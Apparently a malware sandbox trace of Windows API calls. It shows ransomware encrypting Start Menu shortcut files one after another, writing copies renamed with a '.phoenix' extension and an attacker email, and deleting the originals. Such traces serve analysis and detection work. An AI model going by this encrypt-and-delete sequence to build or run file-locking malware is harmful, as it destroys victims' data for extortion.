	[0265.145] ReadFile (in: hFile=0x2d4, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x999, lpOverlapped=0x0) returned 1
	[0265.210] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x9a0, dwBufLen=0x9a0 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x9a0) returned 1
	[0265.210] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x9a0, lpOverlapped=0x0) returned 1
	[0265.211] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151380) returned 1
	[0265.211] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0265.211] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50, dwBufLen=0x50 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50) returned 1
	[0265.211] CryptDestroyKey (hKey=0x151380) returned 1
	[0265.211] WriteFile (in: hFile=0x2c4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x102, lpOverlapped=0x0) returned 1
	[0265.211] CryptDestroyKey (hKey=0x151780) returned 1
	[0265.211] CloseHandle (hObject=0x2d4) returned 1
	[0265.211] CloseHandle (hObject=0x2c4) returned 1
	[0265.670] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Acrobat Reader DC.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\acrobat reader dc.lnk")) returned 1
	[0265.686] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0265.686] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\component services.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0265.686] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1116) returned 1
	[0265.687] CloseHandle (hObject=0x2e8) returned 1
	[0265.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\component services.lnk")) returned 0x20
	[0265.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\component services.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.687] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\component services.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0265.687] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0265.687] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0265.687] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\component services.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0265.694] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1515c0) returned 1
	[0265.694] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0265.694] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x45c, lpOverlapped=0x0) returned 1
	[0265.747] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x460, dwBufLen=0x460 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x460) returned 1
	[0265.747] WriteFile (in: hFile=0x240, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x460, lpOverlapped=0x0) returned 1
	[0265.750] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151100) returned 1
	[0265.750] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0265.750] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50, dwBufLen=0x50 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50) returned 1
	[0265.750] CryptDestroyKey (hKey=0x151100) returned 1
	[0265.750] WriteFile (in: hFile=0x240, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x102, lpOverlapped=0x0) returned 1
	[0265.783] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0265.783] CloseHandle (hObject=0x2e8) returned 1
	[0265.783] CloseHandle (hObject=0x240) returned 1
	[0265.798] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\component services.lnk")) returned 1
	[0265.845] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0265.845] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\dfrgui.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\dfrgui.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.851] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1158) returned 1
	[0265.851] CloseHandle (hObject=0x2b0) returned 1
	[0265.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\dfrgui.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\dfrgui.lnk")) returned 0x20
	[0265.851] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\dfrgui.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\dfrgui.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.851] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\dfrgui.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\dfrgui.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.851] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0265.851] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0265.852] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\dfrgui.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\dfrgui.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0265.873] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151600) returned 1
	[0265.873] CryptSetKeyParam (hKey=0x151600, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0265.873] ReadFile (in: hFile=0x2b0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x486, lpOverlapped=0x0) returned 1
	[0265.874] CryptEncrypt (in: hKey=0x151600, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x490, dwBufLen=0x490 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x490) returned 1
	[0265.874] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x490, lpOverlapped=0x0) returned 1
	[0265.875] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151100) returned 1
	[0265.875] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0265.875] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40, dwBufLen=0x40 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x40) returned 1
	[0265.875] CryptDestroyKey (hKey=0x151100) returned 1
	[0265.875] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0xf2, lpOverlapped=0x0) returned 1
	[0265.875] CryptDestroyKey (hKey=0x151600) returned 1
	[0265.875] CloseHandle (hObject=0x2b0) returned 1
	[0265.875] CloseHandle (hObject=0x2c0) returned 1
	[0265.887] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\dfrgui.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\dfrgui.lnk")) returned 1
	[0265.896] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0265.896] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Disk Cleanup.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\disk cleanup.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0265.916] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1116) returned 1
	[0265.916] CloseHandle (hObject=0x2e8) returned 1
	[0265.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Disk Cleanup.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\disk cleanup.lnk")) returned 0x20
	[0265.916] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Disk Cleanup.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\disk cleanup.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0265.916] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Disk Cleanup.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\disk cleanup.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0265.916] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0265.916] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0265.916] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Disk Cleanup.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\disk cleanup.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0265.962] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1512c0) returned 1
	[0265.962] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0265.962] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x45c, lpOverlapped=0x0) returned 1
	[0265.981] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x460, dwBufLen=0x460 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x460) returned 1
	[0265.981] WriteFile (in: hFile=0x2b0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x460, lpOverlapped=0x0) returned 1
	[0265.982] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151340) returned 1
	[0265.982] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0265.982] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50, dwBufLen=0x50 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50) returned 1
	[0265.982] CryptDestroyKey (hKey=0x151340) returned 1
	[0265.982] WriteFile (in: hFile=0x2b0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x102, lpOverlapped=0x0) returned 1
	[0265.982] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0265.982] CloseHandle (hObject=0x2e8) returned 1
	[0265.982] CloseHandle (hObject=0x2b0) returned 1
	[0266.028] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Disk Cleanup.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\disk cleanup.lnk")) returned 1
	[0266.037] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0266.037] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\iscsi initiator.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0266.038] GetFileSizeEx (in: hFile=0x250, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1144) returned 1
	[0266.038] CloseHandle (hObject=0x250) returned 1
	[0266.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\iscsi initiator.lnk")) returned 0x20
	[0266.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\iscsi initiator.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.039] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\iscsi initiator.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x250
	[0266.039] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0266.039] SetFilePointerEx (in: hFile=0x250, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0266.039] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\iscsi initiator.lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0266.092] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151400) returned 1
	[0266.092] CryptSetKeyParam (hKey=0x151400, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0266.093] ReadFile (in: hFile=0x250, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x478, lpOverlapped=0x0) returned 1
	[0266.118] CryptEncrypt (in: hKey=0x151400, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x480, dwBufLen=0x480 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x480) returned 1
	[0266.118] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x480, lpOverlapped=0x0) returned 1
	[0266.119] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151040) returned 1
	[0266.119] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0266.119] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50, dwBufLen=0x50 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x50) returned 1
	[0266.119] CryptDestroyKey (hKey=0x151040) returned 1
	[0266.119] WriteFile (in: hFile=0x2e4, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x102, lpOverlapped=0x0) returned 1
	[0266.119] CryptDestroyKey (hKey=0x151400) returned 1
	[0266.119] CloseHandle (hObject=0x250) returned 1
	[0266.119] CloseHandle (hObject=0x2e4) returned 1
	[0266.402] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\iSCSI Initiator.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\iscsi initiator.lnk")) returned 1
	[0266.582] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0266.582] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\ODBC Data Sources (32-bit).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\odbc data sources (32-bit).lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.583] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1140) returned 1
	[0266.583] CloseHandle (hObject=0x2e8) returned 1
	[0266.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\ODBC Data Sources (32-bit).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\odbc data sources (32-bit).lnk")) returned 0x20
	[0266.583] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\ODBC Data Sources (32-bit).lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\odbc data sources (32-bit).lnk.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0266.583] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\ODBC Data Sources (32-bit).lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\odbc data sources (32-bit).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0266.583] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0266.584] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0266.584] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\ODBC Data Sources (32-bit).lnk.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\odbc data sources (32-bit).lnk.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0266.700] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1516c0) returned 1
	[0266.700] CryptSetKeyParam (hKey=0x1516c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0266.700] ReadFile (in: hFile=0x2e8, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x474, lpOverlapped=0x0) returned 1
	[0266.732] CryptEncrypt (in: hKey=0x1516c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x480, dwBufLen=0x480 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x480) returned 1
	[0266.732] WriteFile (in: hFile=0x2b0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x480, lpOverlapped=0x0) returned 1
	[0266.733] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151340) returned 1
	[0266.733] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0266.733] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x60, dwBufLen=0x60 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x60) returned 1
	[0266.733] CryptDestroyKey (hKey=0x151340) returned 1
